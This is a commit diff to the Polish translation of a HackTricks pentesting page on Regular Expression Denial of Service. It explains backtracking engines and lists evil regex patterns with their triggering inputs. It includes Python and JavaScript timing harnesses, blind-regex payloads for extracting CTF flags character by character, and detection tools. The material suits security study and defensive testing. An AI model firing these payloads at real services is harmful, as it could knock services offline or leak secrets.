mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/regular-expression-denial-of-service
This commit is contained in:
parent
389b3c8be2
commit
45342f086a
@ -4,38 +4,67 @@
|
||||
|
||||
# Regular Expression Denial of Service (ReDoS)
|
||||
|
||||
**Regular Expression Denial of Service (ReDoS)** ma miejsce, gdy ktoś wykorzystuje słabości w działaniu wyrażeń regularnych (sposób na wyszukiwanie i dopasowywanie wzorców w tekście). Czasami, gdy używane są wyrażenia regularne, mogą stać się bardzo wolne, szczególnie jeśli fragment tekstu, z którym pracują, staje się większy. Ta wolność może być tak zła, że rośnie naprawdę szybko nawet przy niewielkich zwiększeniach rozmiaru tekstu. Atakujący mogą wykorzystać ten problem, aby sprawić, że program używający wyrażeń regularnych przestanie działać poprawnie na długi czas.
|
||||
A **Regular Expression Denial of Service (ReDoS)** występuje, gdy ktoś wykorzystuje słabości działania wyrażeń regularnych (sposób wyszukiwania i dopasowywania wzorców w tekście). Czasami używanie wyrażeń regularnych może stać się bardzo wolne, szczególnie gdy przetwarzany tekst się wydłuża. To spowolnienie może narastać tak szybko, że nawet niewielki wzrost rozmiaru tekstu powoduje znaczne opóźnienia. Atakujący mogą wykorzystać ten problem, aby spowodować, że program używający wyrażeń regularnych przestanie działać poprawnie przez dłuższy czas.
|
||||
|
||||
## Problemowy algorytm regex naiwności
|
||||
## Problemowy naiwny algorytm wyrażeń regularnych
|
||||
|
||||
**Sprawdź szczegóły w [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
|
||||
## Złe wyrażenia regularne <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
### Zachowanie silnika i podatność na wykorzystanie
|
||||
|
||||
Zły wzorzec wyrażenia regularnego to taki, który może **utknąć na stworzonym wejściu, powodując DoS**. Złe wzorce regex zazwyczaj zawierają grupowanie z powtórzeniem oraz powtórzenie lub alternację z nakładającymi się elementami wewnątrz powtórzonej grupy. Niektóre przykłady złych wzorców to:
|
||||
- Większość popularnych silników (PCRE, Java `java.util.regex`, Python `re`, JavaScript `RegExp`) używa maszyny wirtualnej opartej na **backtracking**. Spreparowane wejścia, które tworzą wiele nakładających się sposobów dopasowania podwzorca, wymuszają wykładniczy lub wysokiego stopnia wielomianowy backtracking.
|
||||
- Niektóre silniki/biblioteki są projektowane z założenia jako **ReDoS-resilient** (bez backtrackingu), np. **RE2** i porty oparte na automatach skończonych, które zapewniają czas wykonania liniowy w najgorszym przypadku; użycie ich do przetwarzania nieufnego wejścia eliminuje prymityw backtrackingowego DoS. Zobacz odniesienia na końcu po szczegóły.
|
||||
|
||||
## Złośliwe wyrażenia regularne <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
|
||||
Złośliwy wzorzec wyrażenia regularnego to taki, który może **zawiesić się na spreparowanym wejściu powodując DoS**. Złośliwe wzorce wyrażeń regularnych zazwyczaj zawierają grupowanie z powtórzeniami oraz powtórzenia lub alternacje z nakładającymi się dopasowaniami wewnątrz powtarzanej grupy. Przykłady złośliwych wzorców:
|
||||
|
||||
- (a+)+
|
||||
- ([a-zA-Z]+)\*
|
||||
- (a|aa)+
|
||||
- (a|a?)+
|
||||
- (.\*a){x} dla x > 10
|
||||
- (.*a){x} for x > 10
|
||||
|
||||
Wszystkie te wzorce są podatne na wejście `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||||
Wszystkie one są podatne na wejście `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||||
|
||||
## Ładunki ReDoS
|
||||
### Praktyczny przepis na tworzenie PoCs
|
||||
|
||||
### Ekstrakcja ciągu za pomocą ReDoS
|
||||
Większość katastrofalnych przypadków ma następujący kształt:
|
||||
|
||||
W CTF (lub bug bounty) być może **kontrolujesz Regex, z którym dopasowywane są wrażliwe informacje (flaga)**. Wtedy może być przydatne, aby **strona zamarła (przekroczenie czasu lub dłuższy czas przetwarzania)**, jeśli **Regex dopasował** i **nie, jeśli nie dopasował**. W ten sposób będziesz mógł **ekstrahować** ciąg **znak po znaku**:
|
||||
- Prefiks, który prowadzi do podatnego podwzorca (opcjonalny).
|
||||
- Długi ciąg znaku powodujący niejednoznaczne dopasowania wewnątrz zagnieżdżonych/nakładających się kwantyfikatorów (np. wiele `a`, `_` lub spacji).
|
||||
- Końcowy znak, który wymusza ogólną porażkę, przez co silnik musi się cofnąć przez wszystkie możliwości (często znak, który nie pasuje do ostatniego tokena, jak `!`).
|
||||
|
||||
- W [**tym poście**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) możesz znaleźć tę regułę ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||
Minimalne przykłady:
|
||||
|
||||
- `(a+)+$` vs input `"a"*N + "!"`
|
||||
- `\w*_*\w*$` vs input `"v" + "_"*N + "!"`
|
||||
|
||||
Zwiększ N i obserwuj wzrost ponadliniowy.
|
||||
|
||||
#### Szybkie narzędzie pomiarowe (Python)
|
||||
```python
|
||||
import re, time
|
||||
pat = re.compile(r'(\w*_)\w*$')
|
||||
for n in [2**k for k in range(8, 15)]:
|
||||
s = 'v' + '_'*n + '!'
|
||||
t0=time.time(); pat.search(s); dt=time.time()-t0
|
||||
print(n, f"{dt:.3f}s")
|
||||
```
|
||||
## ReDoS Payloads
|
||||
|
||||
### String Exfiltration via ReDoS
|
||||
|
||||
W CTF (lub bug bounty) być może **kontrolujesz Regex, którym dopasowywana jest wrażliwa informacja (the flag)**. Wtedy może być przydatne spowodować, by **strona się zawiesiła (timeout lub dłuższy czas przetwarzania)**, jeśli **Regex się dopasuje**, a **nie wtedy, gdy się nie dopasuje**. W ten sposób będziesz w stanie **exfiltrate** ciąg **char by char**:
|
||||
|
||||
- W [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) możesz znaleźć tę regułę ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||
- Przykład: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
- W [**tym opisie**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) możesz znaleźć ten: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
- W [**tym opisie**](https://ctftime.org/writeup/25869) użyto: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
- W [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) możesz znaleźć tę: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
- W [**this writeup**](https://ctftime.org/writeup/25869) użył: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
|
||||
### Kontrolowanie wejścia i regex w ReDoS
|
||||
### ReDoS Kontrola wejścia i Regex
|
||||
|
||||
Poniżej znajdują się przykłady **ReDoS**, w których **kontrolujesz** zarówno **wejście**, jak i **regex**:
|
||||
Poniżej znajdują się przykłady **ReDoS**, w których **kontrolujesz** zarówno **input**, jak i **regex**:
|
||||
```javascript
|
||||
function check_time_regexp(regexp, text) {
|
||||
var t0 = new Date().getTime()
|
||||
@ -65,16 +94,35 @@ Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
||||
Regexp (a+)*$ took 723 milliseconds.
|
||||
*/
|
||||
```
|
||||
### Uwagi języka/silnika dla atakujących
|
||||
|
||||
- JavaScript (browser/Node): Wbudowany `RegExp` to silnik backtrackingowy i jest często podatny, gdy regex i input są kontrolowane przez atakującego.
|
||||
- Python: `re` jest backtrackingowy. Długie niejednoznaczne przebiegi plus niepasujący ogon często prowadzą do catastrophic backtracking.
|
||||
- Java: `java.util.regex` jest backtrackingowy. Jeśli kontrolujesz tylko input, szukaj endpoints używających złożonych walidatorów; jeśli kontrolujesz patterny (np. zapisane reguły), ReDoS zwykle jest trywialny.
|
||||
- Silniki takie jak **RE2/RE2J/RE2JS** lub crate **Rust regex** zostały zaprojektowane, by unikać catastrophic backtracking. Jeśli trafisz na nie, skup się na innych wąskich gardłach (np. ogromne wzorce) lub znajdź komponenty nadal używające silników backtrackingowych.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||
- Find vulnerable regexes and auto‑generate evil inputs. Examples:
|
||||
- `pip install regexploit`
|
||||
- Analyze one pattern interactively: `regexploit`
|
||||
- Scan Python/JS code for regexes: `regexploit-py path/` and `regexploit-js path/`
|
||||
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||
- [https://github.com/davisjam/vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector)
|
||||
- End‑to‑end pipeline to extract regexes from a project, detect vulnerable ones, and validate PoCs in the target language. Useful for hunting through large codebases.
|
||||
- [https://github.com/tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector)
|
||||
- Simple CLI/JS library that reasons about backtracking to report if a pattern is safe.
|
||||
|
||||
## Odniesienia
|
||||
> Wskazówka: Gdy kontrolujesz tylko input, generuj ciągi o długościach podwajanych (np. 2^k znaków) i mierz opóźnienie. Wzrost wykładniczy wyraźnie wskazuje na wykonalny ReDoS.
|
||||
|
||||
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||
## Źródła
|
||||
|
||||
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||||
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||||
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html)
|
||||
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
||||
- SoK (2024): Przegląd literatury i inżynierii dotyczący Regular Expression Denial of Service (ReDoS) — [https://arxiv.org/abs/2406.11618](https://arxiv.org/abs/2406.11618)
|
||||
- Dlaczego RE2 (silnik regex o czasie liniowym) — [https://github.com/google/re2/wiki/WhyRE2](https://github.com/google/re2/wiki/WhyRE2)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user